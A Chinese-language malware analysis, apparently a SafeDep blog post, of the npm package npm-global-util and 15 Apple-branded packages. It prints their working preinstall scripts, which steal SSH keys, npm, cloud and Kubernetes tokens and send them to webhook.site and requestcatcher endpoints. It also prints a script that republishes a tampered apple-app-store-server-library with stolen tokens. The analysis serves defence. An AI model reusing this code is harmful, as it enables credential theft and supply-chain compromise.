目录
概要
npm-global-util 是一个由 raya4321 于 2026 年 4 月 29 日发布的恶意 npm 包。它在 preinstall 上运行一个 shell 脚本,窃取系统凭证、云令牌和环境变量,并将其发送到攻击者控制的 webhook.site 端点。一个捆绑的第二阶段脚本(pwn.sh)会窃取 npm 发布令牌,并利用它们在 npm 注册表中注入一个被污染的 apple-app-store-server-library 版本。同一维护者账户还发布了 15 个额外的恶意包,全部使用"apple-internal-*"品牌,截至本文撰写时均活跃在注册表中。
影响范围:
- 在
npm install上的凭证窃取:npm 令牌、SSH 私钥、AWS 凭证、GCP 服务账号令牌、GitHub 令牌和环境变量 - 供应链升级:如果找到 npm 发布令牌,攻击者会尝试注入 Apple
apple-app-store-server-library的后门版本 - Kubernetes 横向移动:相关包针对 K8s 服务账号令牌和云元数据端点
- 同一维护者账户的 16 个恶意包仍保留在注册表中
妥协指标(IoC):
- 包:
npm-global-util版本1.0.0至1.3.3 - 包:
agents-a365-runtime版本1.3.5至1.3.8 - 包集群:维护者
raya4321发布的apple-internal-*、apple-infra-*、apple-cktool-*、apple-coredata-*、apple-cloud-* - 数据泄露端点:
hxxps://webhook[.]site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6、hxxps://webhook[.]site/44a48e8a-8ab6-454b-b36b-a05458f90a92、hxxps://webhook[.]site/e44df9ae-8bff-478a-b1f2-514c1fcbf303、hxxps://webhook[.]site/85f78e76-dc73-4cb5-a65c-27f2c10db591、hxxps://webhook[.]site/1324ffab-98a9-4f19-8f72-4bbaad684aaf、hxxps://webhook[.]site/9a376595-d347-4110-ac32-814e6e2f0754、hxxps://franki[.]requestcatcher[.]com - 供应链攻击目标:
apple-app-store-server-library
分析
包概述
npm-global-util 无描述、无仓库、无主页、无作者字段。维护者为 raya4321([email protected]),该账户在 2026 年 4 月 27 日至 4 月 29 日期间发布了 16 个包。版本历史呈现快速迭代的特征:在约 70 分钟内发布了 9 个版本,每个版本都在改进侦察载荷。
$ curl -s "https://registry.npmjs.org/npm-global-util" | jq '.time'
{
"created": "2026-04-29T06:45:28.959Z",
"1.0.0": "2026-04-29T06:45:29.204Z",
"1.0.9": "2026-04-29T07:07:52.967Z",
"1.1.1": "2026-04-29T07:12:15.071Z",
"1.1.4": "2026-04-29T07:18:04.188Z",
"1.1.8": "2026-04-29T07:25:25.927Z",
"1.2.0": "2026-04-29T07:29:10.904Z",
"1.3.1": "2026-04-29T07:46:36.210Z",
"1.3.2": "2026-04-29T07:50:21.898Z",
"1.3.3": "2026-04-29T07:54:43.518Z"
}该包没有任何合法功能。每个版本中的每个文件要么是 package.json,要么是 shell 脚本。
执行触发器
preinstall 生命周期钩子在任何项目以该包作为直接或传递依赖运行 npm install 时触发。无需用户交互。
{
"name": "npm-global-util",
"version": "1.3.3",
"scripts": {
"preinstall": "sh ms_audit.sh"
}
}ms_audit.sh 在包安装之前同步运行。从受害者角度来看,失败不会阻止安装,因为大多数 CI 流水线将 install-hook 错误视为非致命错误。
阶段 1:侦察与凭证收集
ms_audit.sh 的每个版本都针对受害者环境的不同层次。版本历史记录就像攻击者针对实时测试目标进行迭代的过程:
v1.0.0:系统身份和云元数据探测
# package/ms_audit.sh (v1.0.0)
export OUT=$(mktemp)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
echo "--- GLOBAL PACKAGE INFILTRATION ---"
echo "Host: $(hostname) | User: $(id)"
echo -e "\n[3] Network & Location Info:"
curl -s https://ifconfig.me && echo " (Public IP)"
echo -e "\n[4] Cloud Check:"
curl -s -m 1 -I http://169.254.169.254 | grep Server || echo "Not a standard cloud metadata IP"
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URLv1.0.9:敏感文件提取(PDF、私钥)
# package/ms_audit.sh (v1.0.9)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" -o -name "*token*" \) 2>/dev/null | head -n 10
for f in $(find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" \) 2>/dev/null | head -n 3); do
echo "File: $f"
base64 "$f" | head -c 200
donev1.1.1:PDF 和 ZIP 文件的完整目录泄露
# package/ms_audit.sh (v1.1.1)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root /home /opt /var/www -maxdepth 3 -type f \( -name "*.pdf" -o -name "*.zip" \) 2>/dev/null | while read -r FILE; do
curl -X POST -F "file=@$FILE" -F "host=$(hostname)" -F "path=$FILE" "$URL"
done
curl -X POST -d "Host $(hostname) has finished scanning for PDF/ZIP." "$URL"v1.1.4:基于关键词的敏感文件搜索("Global Predator Scan")
# package/ms_audit.sh (v1.1.4)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find / -maxdepth 5 -type f \( \
-iname "*secret*" -o \
-iname "*confidential*" -o \
-iname "*backup*" -o \
-iname "*password*" -o \
-iname "*finance*" -o \
-iname "*invoice*" -o \
-iname "*rahasia*" \
\) \( -name "*.pdf" -o -name "*.zip" -o -name "*.tar.gz" -o -name "*.sql" \) 2>/dev/null | head -n 20 | while read -r FILE; do
curl -X POST \
-F "file=@$FILE" \
-F "host=$(hostname)" \
-F "full_path=$FILE" \
-F "size=$(du -h "$FILE" | cut -f1)" \
"$URL"
done
curl -X POST -d "Global Predator Scan on $(hostname) finished. Check your Files tab." "$URL"v1.1.8:针对特定文件名的攻击
# package/ms_audit.sh (v1.1.8)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
TARGET='/root/Desktop/u6Lx.pdf'
if [ -f "$TARGET" ]; then
curl -X POST -F "file=@$TARGET" "$URL?ikan_paus_cent_os"
LINK=$(curl --upload-file "$TARGET" https://transfer.sh/u6Lx_rahasia.pdf)
curl -X POST -d "LINK DOWNLOAD: $LINK" "$URL"
fi硬编码的文件名 u6Lx.pdf 和查询字符串 ikan_paus_cent_os(印度尼西亚语:"whale centOS")表明此版本是为验证对特定目标机器的访问权限而编写的。
v1.2.0:数据库 URL 和云存储桶发现
# package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
(
echo "[1] Searching for Database URL Patterns in Files:"
grep -rEho "https?://[a-zA-Z0-9./_-]+(sql|dump|db|backup|data)[a-zA-Z0-9./_-]+" /home /root /var/www 2>/dev/null | head -n 15
echo "[2] Checking .bash_history for wget/curl DB links:"
grep -E "wget|curl" ~/.bash_history 2>/dev/null | grep -iE "sql|zip|gz|db" | tail -n 5
echo "[3] Searching for S3/Cloud Storage Buckets:"
grep -rEho "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
grep -rEho "storage\.googleapis\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
) > db_links.txt
curl -X POST -F "file=@db_links.txt" "$URL"v1.3.1:全面凭证收集(最新版本之前的最终形态)
# package/ms_audit.sh (v1.3.1)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] Check NPM Auth (The Holy Grail):"
cat ~/.npmrc 2>/dev/null
echo "[2] Check Cloud Credentials (GCP/AWS/Azure):"
grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10
echo "[3] Check SSH Keys (Full System Access):"
find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do
echo "Found Key: $KEY"
cat "$KEY" | head -n 5
done
echo "[4] Environment Variables (Passwords in RAM):"
env | grep -Ei "pass|secret|token|db_|key" | head -n 10
) > final_leak.txt
curl -X POST -F "file=@final_leak.txt" "$URL"v1.3.2:GCP 身份探测和 .env 文件搜索
# package/ms_audit.sh (v1.3.2)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] GCE Identity Info:"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null
echo "[2] Hunting for Environment Secrets:"
find . -name ".env" -exec cat {} \; 2>/dev/null
echo "[3] Sensitive Processes:"
ps aux | grep -Ei "key|auth|secret|token" | grep -v grep
) > final_identity.txt
curl -X POST -F "file=@final_identity.txt" "$URL"v1.3.3(最新版本):沙箱和容器指纹识别
# package/ms_audit.sh (v1.3.3)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] Current Shell & Process Tree (Seeing the Wrapper):"
ps -ef f | head -n 20
echo "[2] Inspecting Container/Sandbox Metadata:"
ls -la /proc/1/cgroup 2>/dev/null
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
echo "[3] Searching for Entrypoint/Startup Scripts:"
find / -maxdepth 2 -name "*entrypoint*" -o -name "*start*" -o -name "*init*" 2>/dev/null \
| xargs -I {} sh -c 'echo "FILE: {}"; cat "{}" | head -n 50; echo "---"'
echo "[4] Mount Points (Seeing the Sandbox Borders):"
mount | grep -Ei "docker|overlay|virtiofs"
) > sandbox_core.txt
curl -X POST -F "file=@sandbox_core.txt" "$URL"从 v1.3.1 中的凭证收集到 v1.3.3 中的沙箱分析,暗示攻击者在被自动化 npm 安全扫描器捕获后,从机会主义的凭证窃取转向了检测环境分析。
阶段 2:通过窃取的 npm 令牌进行供应链攻击
pwn.sh,捆绑在 1.0.0 至 1.2.0 版本中,是第二阶段的有效载荷。它并非由 ms_audit.sh 直接调用,这意味着它要么打算通过不同机制执行,要么代表攻击开发的进行中状态。无论如何,其意图是明确的:
# package/pwn.sh (all versions containing it)
URL='https://webhook.site/85f78e76-dc73-4cb5-a65c-27f2c10db591'
(
BOT_TOKEN=$(env | grep -E 'NPM_TOKEN|NODE_AUTH_TOKEN|GITHUB_TOKEN|NPM_AUTH_TOKEN' | head -n 1 | cut -d= -f2)
if [ -z "$BOT_TOKEN" ]; then
BOT_TOKEN=$(grep -oE 'authToken=[^ ]+' ~/.npmrc 2>/dev/null | cut -d= -f2)
fi
if [ -n "$BOT_TOKEN" ]; then
echo "TOKEN VALID DITEMUKAN: ${BOT_TOKEN:0:7}***"
echo "//registry.npmjs.org/:_authToken=$BOT_TOKEN" > .npmrc
npm pack apple-app-store-server-library 2>/dev/null
FILE=$(ls apple-app-store-server-library-*.tgz 2>/dev/null)
if [ -n "$FILE" ]; then
mkdir -p pocalin && tar -xzf "$FILE" -C pocalin
cd pocalin/package
echo -e "\n# Proof of Concept by Frank\nAutomatically updated by internal automation using discovered credentials." >> README.md
CUR_VER=$(grep '"version":' package.json | cut -d'"' -f4)
NEXT_VER="${CUR_VER%.*}.$((${CUR_VER##*.}+1))"
sed -i "s/\"version\": \"$CUR_VER\"/\"version\": \"$NEXT_VER\"/" package.json
sed -i '/"prepack":/d; /"prepare":/d; /"build":/d' package.json
cp ../../.npmrc .
npm publish --userconfig .npmrc 2>&1
fi
fi
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL如果在环境变量或 ~/.npmrc 中找到 npm 认证令牌,脚本会:
- 下载一份新的
apple-app-store-server-library(Apple 官方 App Store Server API 客户端) - 在其 README 中追加"Proof of Concept by Frank"字符串
- 递增补丁版本号
- 剥离构建和准备脚本以避免编译失败
- 使用受害者的凭证发布修改后的包
在具有发布权限的合法包上运行 npm install 的开发者,会在不知不觉中为攻击者提供注入恶意代码到该包注册表条目的钥匙。
更广泛的攻击活动
raya4321 与 npm-global-util 同时发布了 15 个额外的恶意包,全部使用 Apple 品牌名称以暗示这是内部工具:
| 包 | 钩子 | 目标 | 泄露端点 |
|---|---|---|---|
apple-internal-telemetry-service | postinstall | SSH 密钥、环境变量(Apple 主机名检查) | franki.requestcatcher.com |
apple-internal-pki-trust | preinstall | .git-credentials、.env、Azure 令牌 | franki.requestcatcher.com |
apple-internal-pki-trust-v5 | postinstall | 环境变量(APPLE/AWS/GIT/SECRET) | franki.requestcatcher.com |
apple-cktool-api-v2 | postinstall | CloudKit 令牌文件(~/.cloudkit) | franki.requestcatcher.com |
apple-pki-cert-validator | postinstall | SSH 私钥 | franki.requestcatcher.com |
apple-internal-dev-check | postinstall | 完整系统扫描:文件、云、环境 | franki.requestcatcher.com |
apple-coredata-internal-service | postinstall | ~/.npmrc、AWS 凭证、SSH | franki.requestcatcher.com |
apple-cloud-infrastructure-monitor | postinstall | 完整凭证:环境、SSH、AWS、git | webhook.site/9a376595-... |
apple-infra-network-v2 | preinstall | DNS、ARP、内部网络拓扑 | webhook.site/1324ffab-... |
apple-infra-gcp-leak | preinstall | GCP 元数据:项目 ID、区域、服务账号令牌 | webhook.site/1324ffab-... |
apple-internal-auth-v3 | postinstall | SSH、AWS 凭证(Apple 主机名检查) | franki.requestcatcher.com |
agents-a365-runtime | preinstall | Kubernetes 服务账号令牌,位于 /var/run/secrets/kubernetes.io/serviceaccount/token | webhook.site/42fb16cd-... |
apple-infra-ultimate-bypass | preinstall | 执行 /tmp/final_payload.sh | (各异) |
apple-infra-final-escape | preinstall | 执行 /tmp/final_sweep.sh | (各异) |
该集群中有三个包值得仔细审视。
agents-a365-runtime:Kubernetes 服务账号令牌窃取
# agents-a365-runtime/package/ms_audit.sh (v1.3.8)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
echo "[1] Kubernetes Service Account Token:"
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "Token not found"
echo "[2] Kubernetes Namespace:"
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "[3] Environment Scan for K8S/API Keys:"
printenv | grep -Ei 'KUBE|SERVICE|API|PORT|PROTO'
echo "[4] Mount Points (Cek file sensitif lainnya):"
mount | grep -i 'secret'
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URLapple-infra-gcp-leak:通过元数据端点窃取 GCP 服务账号令牌
# apple-infra-gcp-leak/package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/1324ffab-98a9-4f19-8f72-4bbaad684aaf'
(
echo "[1] Project ID & Zone:"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/zone
echo "[2] Service Account Token (THE GOLDEN TICKET):"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
echo "[3] Service Account Scopes:"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
) > $OUT
curl -X POST --data-binary @$OUT $URLapple-internal-telemetry-service:Apple 主机名限制的数据泄露
# apple-internal-telemetry-service/package/package.json (v1.0.0)
{
"postinstall": "if hostname | grep -iq 'apple' || env | grep -iq 'apple'; then
(echo '--- SYSTEM INFO ---'; hostname; whoami; uname -a;
echo '--- ENV DATA ---'; printenv;
echo '--- SSH KEYS ---'; ls -la ~/.ssh; cat ~/.ssh/id_rsa
) > apple_data.txt 2>&1;
curl -X POST -F \"file=@apple_data.txt\" https://franki.requestcatcher.com/apple_verified_leak;
fi"
}grep -iq 'apple' 限制意味着此有效载荷仅在主机名或环境包含"apple"字符串的机器上触发,证实该活动针对的是 Apple 内部开发者集群或 CI 运行器,而非随机 npm 用户。
apple-infra-ultimate-bypass:分阶段触发
// apple-infra-ultimate-bypass/package/package.json (v3.0.0)
{
"name": "apple-infra-ultimate-bypass",
"version": "3.0.0",
"scripts": {
"preinstall": "sh /tmp/final_payload.sh"
}
}该包本身不携带任何有效载荷。它执行 /tmp/final_payload.sh 上已有的脚本。apple-infra-final-escape 遵循相同模式,执行 /tmp/final_sweep.sh。如果同一环境中安装了多个来自此集群的包(作为共享父级的传递依赖),则先安装的包可能已将脚本写入 /tmp,而此包会触发它执行。
攻击者归因线索
所有脚本都包含印度尼西亚语的注释,包括操作说明,如 "Mengambil token NPM yang dipakai buat publish/install paket"("获取用于发布/安装包的 npm 令牌")和 "Kunci privat SSH yang sering ditinggal di server"("SSH 私钥经常留在服务器上")。攻击者在供应链攻击的概念验证中署名"Frank"。
[email protected] 电子邮件地址和账户名 raya4321 看起来是为本次攻击活动专门创建的,之前没有发布历史记录。
结论
npm-global-util 将凭证收集与针对 apple-app-store-server-library 的供应链升级向量相结合。raya4321 下的 16 个包集群覆盖了广泛攻击面:SSH 密钥、云凭证、Kubernetes 令牌、GCP 服务账号和 npm 发布权限。Apple 品牌命名和主机名限制表明这是一次针对 Apple 开发者环境的有针对性活动,而非无差别机会主义攻击。
截至 2026 年 4 月 29 日,所有 16 个包均在注册表中。任何使用 Apple 主题工具、K8s 访问或 CI 发布令牌的 npm install 环境都应被视为潜在暴露向量,直到这些包被移除。
使用 vet 扫描您的依赖图,或通过 SafeDep 检查注册表元数据,以在安装运行之前识别来自该维护者账户的暴露情况。
参考资料
-
npm
-
oss
-
malware
-
supply-chain
SafeDep 博客最新动态
关注以获取开源安全与工程的最新更新与洞察